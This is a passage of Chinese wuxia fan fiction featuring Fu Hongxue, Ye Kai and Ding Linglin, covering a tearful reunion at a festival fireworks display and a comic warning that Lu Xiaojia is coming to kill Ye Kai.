他在哭,也在笑,分不清悲喜的眼泪一颗颗落入她的颈窝里头。 傅红雪声音里带着一丝哽咽:“你没死……只要你还活着,就够了……” 他胸腔里涌起一股温热的震颤。 像只漫漫寒夜里冻僵的雏鸟,终于迎来了黎明的曙光。 . 手悬在半空里,蜷着指尖儿,尤明姜迟疑了半晌,才轻轻回抱住他。 人潮拥挤,声浪翻涌,他的话却像是暮鼓晨钟,穿透层层喧嚣,字字分明。 傅红雪这一瞬觉得很幸福。 他人生里那些零零碎碎的美好,一下子升仙成精,化作这个最耀眼的人。 他清清楚楚听到了尤明姜的心跳声,他不说话,只是静静地听着她的心跳。 活人才会有心跳声。 尤明姜慌了神,轻轻拍了下他的后背:“不要哭。” 听到她的话,傅红雪眼泪却更加汹涌,连忙别过脸,“我……我没哭。” 不想让她看到自己脆弱的样子,双手捂着脸,泪水却从指缝里慢慢渗了出来。 他终于泣不成声。 尤明姜抬起手,想轻轻拭去他眼角的泪水:“你是男子汉。” “在你面前,”傅红雪抓住她的手,合掌抵在唇边,声音带着哭腔有些闷闷的,“我好像永远都坚强不起来。” 尤明姜迟疑道:“你不生气吗?” “……生气?”他缓缓抬起头,双眼布满血丝,“生什么气?” “我可以复活……那你为我流过的眼泪,岂不是白流了?”尤明姜内心挣扎,“你不要憋在心里,哪怕是扇我几耳光,我也生受着,绝不还手。” 傅红雪心里一阵刺痛,失去她,才是真的痛不欲生。 每一刻,都过得无比煎熬。 如果流干了眼泪,就能换回最重要的人,那人世间不知有几多孟姜女。 眼眶里涌出热泪,心脏传来一阵绞痛,他不说话,只是静静地望着她。 尤明姜看懂了。 “谢谢。”尤明姜心中涌起一股暖流。 不由自主地,她的指尖轻轻搭上了傅红雪的手。 她的指尖带着宜人的温热,指腹因为常年采药,有着细微的茧子,能感受到粗糙的触感。而与之相比,傅红雪的手苍白且冰冷,仿佛是被霜雪笼罩许久,未曾沾染一丝暖意。 傅红雪下意识地闭上了眼,眼睫微微颤动,像是在极力压抑着内心翻涌的情绪。与此同时,淡淡的紫草香悠悠地从尤明姜身上传来,萦绕在他的鼻尖,暖烘烘的触感从交叠的手上蔓延开来,直达心底最柔软的地方。 不远处,卖簪花的娘子正百无聊赖地守着摊位,将这一幕尽收眼底。 她看得津津有味,嘴里还忍不住嘟囔着:“哎哟喂,这可太有意思了,比嗑瓜子儿还让人上头呢!” 尤明姜:“……” 傅红雪:“……” “……是我冒失了。”尤明姜这才回过神,不紧不慢地抽回手。 抽回手后,她自然地垂在身侧,仿佛刚刚的小插曲从未发生过。 傅红雪微微一怔,像是还没从那短暂的温暖中缓过神。 随即,他喉结轻滚,想要说些什么,却又咽了回去。 他垂眸,手指不自觉地蜷缩了一下,像是在挽留那转瞬即逝的温度。 . 就在这时,天空隐隐传来细微响动。 刹那间,烟花轰然炸开,强烈的光芒如潮水般汹涌,刹那间点亮了整个夜空。 尤明姜轻咳一声,目光仍紧盯着天空,介绍道:“药发木偶。” 声音里带着几分期待与兴奋。 傅红雪低低应了一声:“嗯。” 声音低沉,却也难掩其中的好奇。 二人一前一后,朝着江边走去。 百姓们纷纷从四面八方涌来,人群中不断爆发出兴奋的呼喊,脚步匆忙却又带着按捺不住的喜悦。 一截引线燃尽,“轰”的一声巨响,火树银花在夜空中汹涌绽放,亮如白昼。 焰芯的爆裂声连绵不绝,哪吒脚踏风火轮,从竹枝花树间迅猛腾空而起。烈烈风声中,混天绫肆意翻飞,紧接着,仙娥神将们劈开层层烟霞,熠熠生辉。 真真应了那句“东风夜放花千树,更吹落,星如雨”。 尤明姜眼 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郁闷之下,叶开拆开几个油纸包,百无聊赖地开始剥沙糖桔,一瓣瓣放入口中,酸甜的汁水在舌尖散开,却也没能驱散他心头的疑惑。 丁灵琳只得先将自己买的新奇玩意儿,拿回房间。 突然,窗外传来一阵清脆的鸟鸣。 她下意识地抬头望去,只见一只信鸽扑闪着翅膀,稳稳地落在窗台上。 它脖颈处系着的那个小巧竹筒,让丁灵琳瞬间来了精神。 竹筒上雕刻的纹路,正是丁家独有的标志。 丁灵琳连忙起身,快步走到窗前,小心翼翼地解下竹筒。 她打开竹筒,抽出那卷薄薄的信纸。 展开的瞬间,熟悉的字迹映入眼帘,脸色却瞬间变得煞白,神情满是震惊。 “叶开!叶开——”丁灵琳慌慌张张地冲下楼,发丝凌乱,满脸焦急,手里扬着一张信纸,“坏事儿了,我爹说三哥要来杀你!” 正坐在桌前剥橘子的叶开,听到这话,手上动作一顿,不禁皱起眉头:“你三哥?他不是被废了武功吗?” “这个三哥不是那个三哥!”丁灵琳急得直跺脚,说话像连珠炮似的,“这个三哥是我一母同胞的亲三哥,那个三哥是姑表三哥。我现在说的三哥是路小佳,这事儿太复杂了,一时半会儿也说不清楚!” 她语速极快,额头上布满了细密的汗珠,“反正我爹说,路小佳把那个三哥给捅了,还砍了他一条胳膊,要不是我爹阻拦,那个三哥就性命不保了。” 叶开轻轻点了点头,将一瓣橘子放入口中,咀嚼咽下后才缓缓说道:“丁灵中行事确实过分。” “都什么时候了,你还幸灾乐祸!”丁灵琳又气又急,抬手捶了他一下,“路小佳放话要捅死你!” “噗——”叶开一口橘子差点呛在喉咙里,眼睛瞬间瞪得滚圆,满脸不可置信:“捅死我?” 丁灵琳神色凝重,重重地点了点头:“路小佳说,尤大夫死了,凡是和这事儿有关的人都别想活命。他要先捅死你,然后自刎下去陪尤大夫。” 叶开满脸疑惑,脱口而出:“不是,他怎么不去找傅红雪的麻烦?” “路小佳不杀老弱病残和妇孺。”丁灵琳解释道,“他说你是丁灵中的异母兄弟,身上流着同样丑恶的血,此乃罪之一;还说你眼睁睁看着尤大夫死在你面前,空长了个大脑袋,毫无作为,此乃罪之二。” “这也太牵强了吧!”叶开哭笑不得,满脸无奈。 “管他牵强不牵强呢!”丁灵琳急得直跳脚,“现在他已经乘船,顺着你的踪迹追来了!” “啊?”叶开瞬间傻眼了。 . .